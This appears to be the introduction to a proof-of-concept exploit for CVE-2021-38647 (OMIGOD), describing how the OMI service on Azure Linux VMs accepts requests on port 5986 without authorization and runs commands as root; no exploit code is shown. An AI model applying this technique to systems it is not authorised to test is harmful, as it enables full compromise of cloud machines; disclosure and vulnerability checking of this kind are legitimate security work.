CVE-2021-38647 - POC to exploit unauthenticated RCE #OMIGOD on Azure UNIX/Linux VMs!

In Microsoft's Azure, the OMI application gets installed automatically when services like Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, etc., are used for UNIX/Linux VM's. The OMI application also exposes the service over port 5986 if the Configuration Management service is used for managing the machine remotely.

Anyone with network access to vulnerable endpoint can send a request that leverages the SCXcore provider without the Authorization header and execute OS commands on the target machine with root privileges!

This vulnerability is now fixed but always worth to check against Linux VMs in Azure.
